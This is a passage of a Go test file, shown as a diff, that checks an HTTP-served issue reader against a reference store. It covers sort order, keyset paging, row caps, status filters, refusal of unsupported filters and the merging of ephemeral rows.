+// The listing needs AllFlag to see them at all, since a closed row is what the +// default status exclusions exist to hide. +func TestServedReaderListOrderMatchesTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("dual") + + local, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + + base := time.Now().UTC().Truncate(time.Second).Add(-7 * time.Hour) + // Priorities and creation instants deliberately disagree, and two rows share + // a priority so the tie-break tail is reachable. + for i, seed := range []struct { + tag string + priority int + }{ + {"delta", 2}, {"alpha", 0}, {"charlie", 2}, {"bravo", 1}, + } { + seedListIssue(t, ctx, c, listID("dual", seed.tag), scope, base.Add(time.Duration(i)*time.Minute), seed.priority) + } + // The two closed rows, with distinct ClosedAt instants so the `closed` sort + // orders them against EACH OTHER as well as against the four nil ones. + for i, seed := range []struct { + tag string + priority int + }{ + {"echo", 1}, {"foxtrot", 3}, + } { + at := base.Add(time.Duration(4+i) * time.Minute) + closedAt := at.Add(time.Duration(i+1) * time.Hour) + issue := &types.Issue{ + ID: listID("dual", seed.tag), Title: listID("dual", seed.tag), + Status: types.StatusClosed, Priority: seed.priority, IssueType: types.TypeTask, + Labels: []string{scope}, CreatedAt: at, UpdatedAt: at, ClosedAt: &closedAt, + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + // THE PREMISE for the closed leg, checked rather than assumed. If the closed + // rows were hidden by the default exclusions, or if `closed` did not in fact + // partition the page by nullity, every comparison below would still pass and + // the NULL branch would still be unreached — which is the failure mode a + // seeded row alone does not rule out. + closedIDs := []string{listID("dual", "echo"), listID("dual", "foxtrot")} + partitions := map[bool][]string{} + for _, reverse := range []bool{false, true} { + page, err := local.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "closed", Reverse: reverse, AllFlag: true, Limit: ptrTo(0), + }) + if err != nil { + t.Fatalf("reference List --sort closed (reverse %v): %v", reverse, err) + } + ids := pageIDs(page) + if len(ids) != 6 { + t.Fatalf("the reference answered --sort closed with %v; this case needs all six seeded rows, "+ + "so AllFlag is not reaching the closed ones and the NULL branch is unreachable", ids) + } + partitions[reverse] = ids + } + // Compared as SETS, because reversing flips the order WITHIN the partition + // as well as the partition's position — which is the correct behavior and + // not what this premise is about. + sorted := func(ids []string) []string { + out := append([]string(nil), ids...) + slices.Sort(out) + return out + } + want := sorted(closedIDs) + head, tail := partitions[false][:2], partitions[true][len(partitions[true])-2:] + if !slices.Equal(sorted(head), want) || !slices.Equal(sorted(tail), want) { + t.Fatalf("--sort closed put %v at the head and %v at the reversed tail, want the two closed rows %v at "+ + "both; this case needs them partitioned to one end so sqlbuild.Less's NULL-first branch decides the order", + head, tail, closedIDs) + } + + sorts := []string{"", "priority", "created", "updated", "closed", "status", "id", "title", "type", "assignee"} + for _, sortBy := range sorts { + for _, reverse := range []bool{false, true} { + req := issueops.ListRequest{Labels: []string{scope}, SortBy: sortBy, Reverse: reverse, AllFlag: true, Limit: ptrTo(0)} + want, err := local.List(ctx, req) + if err != nil { + t.Fatalf("reference List (sort %q, reverse %v): %v", sortBy, reverse, err) + } + got, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("http List (sort %q, reverse %v): %v", sortBy, reverse, err) + } + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("sort %q reverse %v: http answered %v, reference answered %v", + sortBy, reverse, pageIDs(got), pageIDs(want)) + } + } + } + + // THE SAME MATRIX UNDER A TRUNCATING LIMIT, RUN ON BOTH LEGS. + // + // Every arm above is unlimited, so all six rows come back and only their + // ORDER is at stake — which a client that fetched everything and re-sorted + // satisfies. Under a limit that truncates, the ROW SET is at stake as well, + // and it is decided by whoever applied the limit. On the pushdown leg that + // is the server, under the caller's order; on the walk leg it is still this + // client, after the walk. After S2 those are two code paths through one + // request, so both are run against the same oracle. + advertised, downLevel := listSortHandshakes(ctx, t, c) + legs := map[string]issueops.Reader{ + "pushdown": c.listSpy(t, advertised).reader(t), + "walk": c.listSpy(t, downLevel).reader(t), + } + + // THE PREMISE for the truncation, and it is exactly the ambiguity the + // unlimited arms do not have: if every sort's top three were the same three + // rows, "the client returned the reference's rows" would be satisfied by a + // client that ignored `sort` and truncated the wire's welded order. Counted + // rather than required per-arm, because some arms coinciding with the + // created order is correct and expected — `updated` here IS the created + // order, since nothing has been updated since it was seeded. + const pageLimit = 3 + welded, err := local.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: wireListSort, AllFlag: true, Limit: ptrTo(pageLimit), + }) + if err != nil { + t.Fatalf("reference List in the welded order: %v", err) + } + weldedTop := sorted(pageIDs(welded)) + discriminating := 0 + + for _, sortBy := range sorts { + for _, reverse := range []bool{false, true} { + req := issueops.ListRequest{ + Labels: []string{scope}, SortBy: sortBy, Reverse: reverse, AllFlag: true, Limit: ptrTo(pageLimit), + } + want, err := local.List(ctx, req) + if err != nil { + t.Fatalf("reference List (sort %q, reverse %v, limit %d): %v", sortBy, reverse, pageLimit, err) + } + if len(want.Items) != pageLimit || !want.HasMore { + t.Fatalf("the reference answered (sort %q, reverse %v) with %d of six rows and HasMore %v; "+ + "this leg needs a truncating page", sortBy, reverse, len(want.Items), want.HasMore) + } + if !slices.Equal(sorted(pageIDs(want)), weldedTop) { + discriminating++ + } + for leg, reader := range legs { + got, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("http %s List (sort %q, reverse %v, limit %d): %v", leg, sortBy, reverse, pageLimit, err) + } + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("sort %q reverse %v limit %d on the %s leg: http answered %v, reference answered %v", + sortBy, reverse, pageLimit, leg, pageIDs(got), pageIDs(want)) + } + if got.HasMore != want.HasMore { + t.Errorf("sort %q reverse %v limit %d on the %s leg: http HasMore = %v, reference = %v", + sortBy, reverse, pageLimit, leg, got.HasMore, want.HasMore) + } + } + } + } + // Exactly two of the twenty arms are expected to coincide with the welded + // order — `created` and `updated`, both un-reversed, because nothing has + // been updated since it was seeded — so the count is pinned rather than + // bounded loosely. A third coincidence is the fixture drifting toward + // ambiguity, which is the thing this premise exists to catch. + if want := 2*len(sorts) - 2; discriminating != want { + t.Errorf("%d of the %d truncated arms chose a different three rows than the welded created order, want %d; "+ + "the fixture has changed how well it discriminates, and every comparison above is only as strong as "+ + "the arms that do", discriminating, 2*len(sorts), want) + } +} + +// TestServedReaderListKeysetPositionSkipsForward is D8 row 1's disposition, +// asserted: a caller-supplied position is honored by paging the created-order +// wire and discarding the rows at or before it. Both halves of the position +// matter — a filter that compared the timestamp alone would drop the +// same-second row, which is exactly how a keyset page loses records. +func TestServedReaderListKeysetPositionSkipsForward(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("keyset") + + newest, cursor, sameSecond, oldest := listID("keyset", "c"), listID("keyset", "b1"), listID("keyset", "b2"), listID("keyset", "a") + base := time.Now().UTC().Truncate(time.Second).Add(-time.Hour) + cursorAt := base.Add(30 * time.Minute) + // The priorities run OPPOSITE to the created order on purpose, and the two + // rows the position discards are the two the priority order would put + // FIRST. That is what makes the sorted leg below unambiguous: a client that + // pushed the sort down and dropped the position on the floor answers with + // the discarded pair, which shares no row with the correct answer. + for _, seed := range []struct { + id string + at time.Time + priority int + }{ + {newest, base.Add(45 * time.Minute), 0}, + {cursor, cursorAt, 1}, + {sameSecond, cursorAt, 2}, + {oldest, base, 3}, + } { + seedListIssue(t, ctx, c, seed.id, scope, seed.at, seed.priority) + } + + page, err := reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, + SortBy: "created", + AfterCreatedAt: &cursorAt, + AfterID: cursor, + }) + if err != nil { + t.Fatalf("List from a keyset position: %v", err) + } + if want := []string{sameSecond, oldest}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a keyset position = %v, want %v", pageIDs(page), want) + } + + // And the position composes with the page bound rather than replacing it: + // the walk keeps going until it has enough rows PAST the position. + page, err = reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", + AfterCreatedAt: &cursorAt, AfterID: cursor, Limit: ptrTo(1), + }) + if err != nil { + t.Fatalf("List from a keyset position --limit 1: %v", err) + } + if want := []string{sameSecond}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a keyset position --limit 1 = %v, want %v", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List from a keyset position --limit 1 hid a row without reporting HasMore") + } + + // AND THE POSITION SURVIVES A SORT. This is the `keep == nil` conjunct of + // the pushdown gate: the filter is a prefix discard over CREATED-ORDER + // arrival, so a page some other order truncated would run it against rows + // whose replacements were never fetched. The request below is bounded and + // in an order the wire can now be told, which is every other condition the + // fast leg wants; only the position keeps it a walk. + // + // The premise is checked out loud rather than reasoned about: the same + // request WITHOUT the position answers with the two rows the position + // discards, so an answer of [sameSecond oldest] cannot be produced by a + // client that forgot it. + // + // It is measured through the REFERENCE store rather than the subject. Asked + // of the subject, a client-side ordering bug would fire this Fatalf with a + // message blaming the fixture, and the keyset assertion it guards would + // never run — a premise that reports the subject's defect as its own drift + // is worse than no premise. + sortedFromPosition := issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(2), + AfterCreatedAt: &cursorAt, AfterID: cursor, + } + unpositioned := sortedFromPosition + unpositioned.AfterCreatedAt, unpositioned.AfterID = nil, "" + referenceReader, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + ignored, err := referenceReader.List(ctx, unpositioned) + if err != nil { + t.Fatalf("reference List --sort priority --limit 2 with no position: %v", err) + } + if want := []string{newest, cursor}; !slices.Equal(pageIDs(ignored), want) { + t.Fatalf("the reference answered --sort priority --limit 2 with no position with %v, want %v; the fixture "+ + "no longer puts the discarded rows first in priority order, so the assertion below could not tell a "+ + "dropped position apart from an honored one", pageIDs(ignored), want) + } + + page, err = reader.List(ctx, sortedFromPosition) + if err != nil { + t.Fatalf("List from a keyset position --sort priority: %v", err) + } + if want := []string{sameSecond, oldest}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a keyset position --sort priority = %v, want %v", pageIDs(page), want) + } + if page.HasMore { + t.Error("two rows past the position under a limit of two reported HasMore") + } +} + +// TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder is the +// served half of AfterPriority: a position that carries a priority is one in +// the (priority ASC, created_at DESC, id ASC) order, and the walk resumes it in +// that order — sqlbuild.KeysetPriorityCreatedAtIDPredicate's nesting, which the +// reference store applies in SQL on the far side. +// +// The fixture puts a row on each side of the position that the created pair +// alone would misplace: an older row at a HIGHER priority, which is before the +// position and must not come back, and a newer row at a LOWER priority, which +// is after it and must. A filter that dropped AfterPriority answers with the +// first and without the second. +func TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("pkeyset") + + topNewer, topOlder := listID("pkeyset", "p0new"), listID("pkeyset", "p0old") + cursor, sameInstant, olderPeer := listID("pkeyset", "p1a"), listID("pkeyset", "p1b"), listID("pkeyset", "p1old") + lowerNewer := listID("pkeyset", "p2new") + base := time.Now().UTC().Truncate(time.Second).Add(-time.Hour) + cursorAt := base.Add(40 * time.Minute) + for _, seed := range []struct { + id string + at time.Time + priority int + }{ + {topNewer, base.Add(50 * time.Minute), 0}, + {topOlder, base, 0}, + {cursor, cursorAt, 1}, + {sameInstant, cursorAt, 1}, + {olderPeer, base.Add(10 * time.Minute), 1}, + {lowerNewer, base.Add(55 * time.Minute), 2}, + } { + seedListIssue(t, ctx, c, seed.id, scope, seed.at, seed.priority) + } + + fromPosition := issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", + AfterCreatedAt: &cursorAt, AfterID: cursor, AfterPriority: ptrTo(1), + } + want := []string{sameInstant, olderPeer, lowerNewer} + + // The answer is checked against the reference store as well as spelled + // out, so a disagreement says which side moved: the reference answering + // something else is the fixture or the local predicate drifting, not this + // client. + referenceReader, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + reference, err := referenceReader.List(ctx, fromPosition) + if err != nil { + t.Fatalf("reference List from a priority position: %v", err) + } + if !slices.Equal(pageIDs(reference), want) { + t.Fatalf("the reference answered a priority position with %v, want %v; the fixture no longer "+ + "discriminates the priority order from the created one", pageIDs(reference), want) + } + + page, err := reader.List(ctx, fromPosition) + if err != nil { + t.Fatalf("List from a priority position: %v", err) + } + if !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a priority position = %v, want %v (the reference's answer)", pageIDs(page), want) + } + + // The position composes with the page bound, so a priority walk can page. + bounded := fromPosition + bounded.Limit = ptrTo(2) + page, err = reader.List(ctx, bounded) + if err != nil { + t.Fatalf("List from a priority position --limit 2: %v", err) + } + if want := []string{sameInstant, olderPeer}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a priority position --limit 2 = %v, want %v", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List from a priority position --limit 2 hid a row without reporting HasMore") + } +} + +// TestServedReaderListWalksMultiplePages drives the cursor loop itself: the +// per-page size is shrunk so three rows take three round trips, and the answer +// still has to be the whole set, once each, in order. +func TestServedReaderListWalksMultiplePages(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("pages") + + restore := walkPageSize + walkPageSize = 1 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-2 * time.Hour) + var ids []string + for i, tag := range []string{"a", "b", "c", "d", "e"} { + id := listID("pages", tag) + ids = append(ids, id) + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), 2) + } + + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List across pages: %v", err) + } + if want := ids; !slices.Equal(pageIDs(page), want) { + t.Errorf("List across pages = %v, want %v exactly once each", pageIDs(page), want) + } + if page.HasMore { + t.Error("an exhausted unlimited walk reported HasMore") + } +} + +// TestServedReaderListMultiPageWalkHasNoSnapshotIsolation is ledger row L3's +// owning proof, and it pins a DEGRADATION rather than a promise. +// +// The cursor pins a POSITION, not a snapshot. A row written between page N and +// page N+1 lands ahead of the walk in created-DESC order — where the walk has +// already been — so it is absent from the answer, and local mode's single query +// could never miss it. What the walk still owes is the half that would be a bug +// rather than a documented difference: it terminates, and it returns no row +// twice. +func TestServedReaderListMultiPageWalkHasNoSnapshotIsolation(t *testing.T) { + ctx := t.Context() + c, _ := servedReader(t) + scope := listScope("interleave") + + restore := walkPageSize + walkPageSize = 1 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-4 * time.Hour) + var seeded []string + for i, tag := range []string{"a", "b", "c"} { + id := listID("interleave", tag) + seeded = append(seeded, id) + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), 2) + } + late := listID("interleave", "late") + + var dials int + interleaving := c.tamperedClient(t, func(req *wire.Request) { + if req.Op != wire.OpListIssues { + return + } + dials++ + if dials == 2 { + // Newer than every seeded row, so its place in the created-DESC + // order is BEHIND the walk: the page it belonged on has already + // been fetched. + seedListIssue(t, ctx, c, late, scope, time.Now().UTC().Truncate(time.Second), 2) + } + }) + reader, err := interleaving.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List across an interleaved write: %v", err) + } + got := pageIDs(page) + if dials < 2 { + t.Fatalf("the walk took %d pages; this case needs at least two for a write to land between them", dials) + } + + seen := map[string]int{} + for _, id := range got { + seen[id]++ + } + for id, n := range seen { + if n > 1 { + t.Errorf("the walk returned %s %d times: a keyset walk must not repeat a row", id, n) + } + } + for _, id := range seeded { + if seen[id] == 0 { + t.Errorf("the walk lost %s, which existed before it started", id) + } + } + if seen[late] != 0 { + t.Errorf("the walk returned %s, which was written after it passed that position; "+ + "if the wire has gained snapshot isolation, ledger row L3 is stale rather than this test", late) + } +} + +// TestServedReaderListMaxRowsBoundsWireRowsFetched is D12: the wire publishes no +// max_rows, so the cap is enforced during page accumulation and the exact +// sentinel `bd list` classifies into exit 2 is synthesized here. +func TestServedReaderListMaxRowsBoundsWireRowsFetched(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("maxrows") + + var ids []string + for _, tag := range []string{"a", "b", "c"} { + id := listID("maxrows", tag) + ids = append(ids, id) + seedListIssue(t, ctx, c, id, scope, time.Time{}, 2) + } + + roomy, err := reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0), + MaxRows: len(ids) + 1, MaxRowsSource: "--max-rows", + }) + if err != nil { + t.Fatalf("List under a cap the result set fits inside: %v", err) + } + if len(roomy.Items) != len(ids) { + t.Errorf("List under a roomy cap returned %v, want the three seeded rows", pageIDs(roomy)) + } + + _, err = reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0), + MaxRows: len(ids) - 1, MaxRowsSource: "--max-rows", + }) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Fatalf("List under a cap the result set exceeds = %v, want *ErrTooManyRows", err) + } + if tooMany.Cap != len(ids)-1 { + t.Errorf("cap error reports Cap = %d, want %d", tooMany.Cap, len(ids)-1) + } + if tooMany.Found != tooMany.Cap+1 { + t.Errorf("cap error reports Found = %d, want the cap plus the one overage row (%d)", tooMany.Found, tooMany.Cap+1) + } + if tooMany.Source != "--max-rows" { + t.Errorf("cap error reports Source = %q, want the attribution the request supplied", tooMany.Source) + } +} + +// TestServedReaderListEmptyPageIsWellFormedUnderALabelScope pins the page shape +// when nothing matches, on both methods that share the type. +func TestServedReaderListEmptyPageIsWellFormedUnderALabelScope(t *testing.T) { + ctx := t.Context() + _, reader := servedReader(t) + scope := listScope("empty-never-seeded") + + listed, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}}) + if err != nil { + t.Fatalf("List matching nothing: %v", err) + } + if listed.Items == nil { + t.Error("an empty page carries a nil Items") + } + if len(listed.Items) != 0 || listed.HasMore { + t.Errorf("List matching nothing = (%v, hasMore %v)", pageIDs(listed), listed.HasMore) + } + + ready, err := reader.Ready(ctx, issueops.ReadyRequest{Labels: []string{scope}}) + if err != nil { + t.Fatalf("Ready matching nothing: %v", err) + } + if ready.Items == nil || len(ready.Items) != 0 || ready.HasMore { + t.Errorf("Ready matching nothing = (%v, hasMore %v)", pageIDs(ready), ready.HasMore) + } +} + +// TestServedReaderListStatusORSetUnderALabelScope drives the plural branch of +// ListRequest.Status end to end: a comma-separated set REPLACES the default +// exclusions rather than fighting them, and the wire carries it as one repeated +// `status` parameter the server rejoins. A set of three is deliberate — two +// entries is the smallest IN clause and would pass against a renderer that +// emitted only the first and the last. +func TestServedReaderListStatusORSetUnderALabelScope(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("status") + + open, inProgress, closed := listID("status", "open"), listID("status", "inprogress"), listID("status", "closed") + seedListIssue(t, ctx, c, open, scope, time.Time{}, 2) + for _, seed := range []struct { + id string + status types.Status + }{{inProgress, types.StatusInProgress}, {closed, types.StatusClosed}} { + issue := &types.Issue{ + ID: seed.id, Title: seed.id, Status: seed.status, Priority: 2, + IssueType: types.TypeTask, Labels: []string{scope}, + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", seed.id, err) + } + } + + for _, test := range []struct { + name string + status string + want []string + }{ + {"a two-status set reaches past the default closed exclusion", "closed,in_progress", []string{closed, inProgress}}, + {"a three-status set is the whole seeded scope", "open,in_progress,closed", []string{open, inProgress, closed}}, + {"whitespace around a member is the caller's, not the query's", " closed , open ", []string{closed, open}}, + } { + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, Status: test.status, Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List --status %q (%s): %v", test.status, test.name, err) + } + got := append([]string(nil), pageIDs(page)...) + want := append([]string(nil), test.want...) + slices.Sort(got) + slices.Sort(want) + if !slices.Equal(got, want) { + t.Errorf("List --status %q = %v, want %v", test.status, pageIDs(page), test.want) + } + } +} + +// TestServedReaderDoesNotMutateTheCallerRequestOverTheWire is the role's +// request-snapshot tripwire, with the contract's IDFilter dropped. The slices +// are the point: an encoder that normalized labels into the caller's backing +// array would leave the struct header untouched and its CONTENTS changed. +func TestServedReaderDoesNotMutateTheCallerRequestOverTheWire(t *testing.T) { + ctx := t.Context() + _, reader := servedReader(t) + + build := func() (issueops.ReadyRequest, issueops.ListRequest, issueops.GetRequest) { + limit := 5 + return issueops.ReadyRequest{ + Labels: []string{"Beta", "alpha"}, + LabelsAny: []string{"gamma", " delta "}, + ExcludeLabels: []string{"omega"}, + ExcludeTypes: []string{"chore,epic", " feat "}, + MetadataFields: map[string]string{"kind": "probe"}, + Sort: "priority", + Limit: &limit, + }, issueops.ListRequest{ + Labels: []string{"Beta", "alpha"}, + LabelsAny: []string{"gamma", " delta "}, + ExcludeLabels: []string{"omega"}, + MetadataFields: map[string]string{"kind": "probe"}, + SortBy: "id", + Limit: &limit, + }, issueops.GetRequest{ID: listID("nomut", "absent")} + } + ready, list, get := build() + wantReady, wantList, wantGet := build() + + if _, err := reader.Ready(ctx, ready); err != nil { + t.Fatalf("Ready: %v", err) + } + if _, err := reader.List(ctx, list); err != nil { + t.Fatalf("List: %v", err) + } + if _, err := reader.Get(ctx, get); !errors.Is(err, issueops.ErrNotFound) { + t.Fatalf("Get on an absent id: %v", err) + } + + if !reflect.DeepEqual(ready, wantReady) { + t.Errorf("Ready mutated the caller's request:\n got %#v\nwant %#v", ready, wantReady) + } + if !reflect.DeepEqual(list, wantList) { + t.Errorf("List mutated the caller's request:\n got %#v\nwant %#v", list, wantList) + } + if !reflect.DeepEqual(get, wantGet) { + t.Errorf("Get mutated the caller's request:\n got %#v\nwant %#v", get, wantGet) + } + if *list.Limit != *wantList.Limit { + t.Errorf("the caller's Limit pointer was written through: %d", *list.Limit) + } +} + +// TestServedReaderRefusesTheFiltersTheWireCannotCarry is refuse-not-drop (L12) +// on the role, and it is the assertion the parked contract cases hand over. +// +// Each of these fields would WIDEN the answer if dropped — the caller asked a +// narrower question than the wire can put — so each has to fail, carry the +// portable sentinel a caller classifies with, and name the field in its ledger +// row so D7's third taxonomy text has something to print. +func TestServedReaderRefusesTheFiltersTheWireCannotCarry(t *testing.T) { + ctx := t.Context() + _, reader := servedReader(t) + cutoff := time.Now().UTC().Add(-time.Hour) + priority := 1 + + for _, test := range []struct { + field string + req issueops.ListRequest + }{ + {"IDFilter", issueops.ListRequest{IDFilter: listID("refuse", "a")}}, + {"ReadyFlag", issueops.ListRequest{ReadyFlag: true}}, + {"Offset", issueops.ListRequest{Offset: 1}}, + {"PinnedFlag", issueops.ListRequest{PinnedFlag: true}}, + {"PriorityMax", issueops.ListRequest{PriorityMax: &priority}}, + {"UpdatedAfter", issueops.ListRequest{UpdatedAfter: &cutoff}}, + {"TitleContains", issueops.ListRequest{TitleContains: "anything"}}, + {"ExcludeTypes", issueops.ListRequest{ExcludeTypes: []string{"chore"}}}, + } { + page, err := reader.List(ctx, test.req) + if err == nil { + t.Errorf("List with %s answered with %v instead of refusing: a dropped filter widens the set invisibly", + test.field, pageIDs(page)) + continue + } + assertServedRefusal(t, "List with "+test.field, err, test.field) + } + + if _, err := reader.Ready(ctx, issueops.ReadyRequest{Offset: 1}); err == nil { + t.Error("Ready with an Offset answered instead of refusing") + } else { + assertServedRefusal(t, "Ready with an Offset", err, "Offset") + } +} + +// seedListWisp seeds one EPHEMERAL row through the reference store, carrying +// the same label scope its durable siblings do. The flag is set here rather +// than by the caller for servedEnv.createWisp's reason: the plane is the seed +// hook's decision, not the case's. +func seedListWisp(t *testing.T, ctx context.Context, c *servedComposition, id, scope string, at time.Time, issueType types.IssueType) { + t.Helper() + issue := &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: issueType, Labels: []string{scope}, Ephemeral: true, + } + if !at.IsZero() { + issue.CreatedAt = at + issue.UpdatedAt = at + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed wisp %s: %v", id, err) + } +} + +// TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope is +// RunReaderListIncludeEphemeralMergesThePlanesIntoOneOrder with the id scope +// swapped for a label one, which is the swap this whole file exists to make: +// the contract case scopes itself with IDFilter and listIssues publishes no id +// parameter (E-ListRequest.IDFilter), so the case is parked next door and its +// behavior is pinned here instead. +// +// WHAT IT IS ABOUT is not admission but ORDER. That the flag admits wisps at +// all is already covered by RunReaderListDefaultExclusionsAndTheirOverrides, +// which reads its answer as a set — so a body that appended one plane after the +// other passes it. Here the planes ALTERNATE second by second, so a +// concatenation is a different SEQUENCE, a Limit landing inside the +// interleaving keeps a different SET, and the keyset walk resumes from +// positions on both sides of the merge. +// +// OVER THIS WIRE the merge is the SERVER's — one query family, merge-sorted +// before the trim — and what this leg adds is that the client's own pager walks +// the merged order without re-segmenting it: the page it accumulates crosses +// the plane boundary, and the position it carries forward names no plane. +// +// THE WISP ROWS KEEP THEIR IDENTITY, asserted separately from the order, +// because a merged page that came back with every row looking durable would +// satisfy every id comparison here. `ephemeral` is the member that says which +// plane a row came from, and it has to survive the JSON round trip. +func TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("eph") + + firstSecond := time.Now().UTC().Truncate(time.Second).Add(-3 * time.Hour) + seeds := []struct { + tag string + ephemeral bool + }{ + {"i1", false}, {"w1", true}, {"i2", false}, + {"w2", true}, {"i3", false}, {"w3", true}, + } + var merged, durableOnly []string + wisps := map[string]bool{} + for i, seed := range seeds { + id := listID("eph", seed.tag) + at := firstSecond.Add(time.Duration(i) * time.Second) + if seed.ephemeral { + seedListWisp(t, ctx, c, id, scope, at, types.TypeTask) + wisps[id] = true + } else { + seedListIssue(t, ctx, c, id, scope, at, 2) + durableOnly = append(durableOnly, id) + } + merged = append(merged, id) + } + // The wire's order is (created_at DESC, id ASC), so both expectations run + // youngest first — the reverse of the seeding order. + slices.Reverse(merged) + slices.Reverse(durableOnly) + + scoped := issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0)} + durable, err := reader.List(ctx, scoped) + if err != nil { + t.Fatalf("List over the scope without the flag: %v", err) + } + if got := pageIDs(durable); !slices.Equal(got, durableOnly) { + t.Fatalf("List without IncludeEphemeral = %v, want the durable rows %v", got, durableOnly) + } + + admitted := scoped + admitted.IncludeEphemeral = true + all, err := reader.List(ctx, admitted) + if err != nil { + t.Fatalf("List --include-ephemeral: %v", err) + } + if got := pageIDs(all); !slices.Equal(got, merged) { + t.Fatalf("List --include-ephemeral = %v, want the two planes merged into one order %v", got, merged) + } + + // The identity half. A row's plane is a fact about the row, and the merged + // page is the one place a client can lose it. + for _, item := range all.Items { + if item == nil || item.Issue == nil { + t.Fatalf("List --include-ephemeral returned a nil row") + } + if got, want := item.Issue.Ephemeral, wisps[item.ID]; got != want { + t.Errorf("%s came back with ephemeral = %v, want %v: the merged page lost which plane the row is on", + item.ID, got, want) + } + } + + // Every bound from inside the first plane's run to past the end. The + // interesting ones are the cuts that land between a wisp and the durable row + // next to it, which is where a page built one plane at a time keeps the + // wrong row. + for limit := 1; limit <= len(merged)+1; limit++ { + bounded := admitted + bounded.Limit = ptrTo(limit) + page, err := reader.List(ctx, bounded) + if err != nil { + t.Errorf("List --include-ephemeral --limit %d: %v", limit, err) + continue + } + want := merged[:min(limit, len(merged))] + if got := pageIDs(page); !slices.Equal(got, want) { + t.Errorf("List --include-ephemeral --limit %d = %v, want %v", limit, got, want) + } + if wantMore := limit < len(merged); page.HasMore != wantMore { + t.Errorf("List --include-ephemeral --limit %d reported HasMore = %v, want %v", limit, page.HasMore, wantMore) + } + } + + // The keyset walk across the merge. The position is a created-order pair and + // neither half of it names a plane, so a walk that resumes correctly on one + // plane and skips the other is the failure this looks for. + const pageSize = 2 + var walked []string + seen := map[string]bool{} + var afterCreatedAt *time.Time + afterID := "" + for page := 0; page <= len(merged); page++ { + req := admitted + req.Limit = ptrTo(pageSize) + req.AfterCreatedAt = afterCreatedAt + req.AfterID = afterID + got, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("List --include-ephemeral page %d: %v", page, err) + } + if len(got.Items) == 0 { + break + } + if len(got.Items) > pageSize { + t.Fatalf("List --include-ephemeral page %d answered %d rows over a Limit of %d", + page, len(got.Items), pageSize) + } + for _, item := range got.Items { + if seen[item.ID] { + t.Fatalf("List --include-ephemeral page %d repeated %s: a position that crossed the plane "+ + "boundary re-delivered a row it had already handed out", page, item.ID) + } + seen[item.ID] = true + walked = append(walked, item.ID) + } + last := got.Items[len(got.Items)-1] + at := last.CreatedAt.UTC() + afterCreatedAt = &at + afterID = last.ID + } + if !slices.Equal(walked, merged) { + t.Errorf("the keyset walk over the merged planes delivered %v, want the one-shot sequence %v "+ + "with nothing dropped and nothing repeated", walked, merged) + } +} + +// TestServedReaderListMessageWispsNeedTheInfraIntentAndNotJustThePlane drives +// the program-founding fact of the external-API store end to end, and it +// SHARPENS it: the four quadrants were measured here rather than assumed, and +// what came back is not quite what the bead that ordered this wave predicted. +// +// MAIL IS A WISP OF AN INFRA TYPE. A message bead is `type: message`, and +// message is one of the three DEFAULT INFRA TYPES (domain/infra_types.go), so a +// default listing hides it twice over: the wisp plane is skipped, and the infra +// types are excluded from the durable leg. +// +// WHAT THE FOUR ARMS MEASURE 